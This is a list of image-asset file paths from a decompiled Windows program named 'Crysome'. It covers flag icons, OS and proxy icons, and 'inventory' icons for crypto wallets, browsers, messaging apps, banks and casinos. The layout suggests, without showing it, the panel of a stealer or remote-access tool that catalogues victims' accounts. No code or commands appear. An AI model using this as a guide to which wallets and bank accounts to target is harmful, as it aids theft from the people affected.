+C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SC.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SC@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SC@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SD.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SD@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SD@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SH.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SH@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SH@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SI.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SI@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SI@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SJ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SJ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SJ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SK.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SK@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SK@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SL.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SL@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SL@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SN.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SN@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SN@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SO.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SO@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SO@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SR.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SR@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SR@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SS.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SS@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SS@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ST.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ST@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ST@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SV.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SV@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SV@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SX.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SX@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SX@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SY.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SY@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SY@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SZ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SZ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SZ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TC.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TC@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TC@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TD.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TD@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TD@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TF.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TF@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TF@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TH.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TH@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TH@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TJ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TJ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TJ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TK.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TK@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TK@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TL.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TL@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TL@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TN.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TN@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TN@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TO.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TO@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TO@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TR.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TR@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TR@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TT.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TT@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TT@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TV.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TV@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TV@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TW@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TW@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TZ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TZ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TZ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US-CA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US-CA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US-CA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UY.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UY@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UY@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UZ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UZ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UZ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VC.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VC@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VC@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VI.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VI@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VI@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VN.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VN@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VN@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VU.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VU@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VU@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WF.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WF@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WF@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WS.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WS@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WS@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\XK.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\XK@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\XK@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YT.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YT@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YT@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZW@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZW@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\linux.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\proxy.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\windows10.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\windows11.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\windows7.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\windows81.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\windowsxp.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\atomic.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\binance.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\brave.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\chrome.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\discord.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\edge.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\electrum.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\exodus.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\firefox.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\metamask.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\notepad_plus_plus.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\opera.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\python.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\slack.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\steam.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\telegram.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\vlc.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\vscode.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\whatsapp.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\zoom.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\bankofamerica.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\binance.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\capitalone.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\cashapp.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\chase.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\citibank.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\coinbase_bank.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\kraken.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\paypal.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\robinhood.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\usbank.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\venmo.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\wellsfargo.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\1xbet.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\22bet.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\888casino.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\bet365.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\bet9ja.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betano.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betfair.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betmgm.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betonline.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betsson.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\betway.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\bovada.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\caesars.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\casumo.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\casinos\draftkings.png 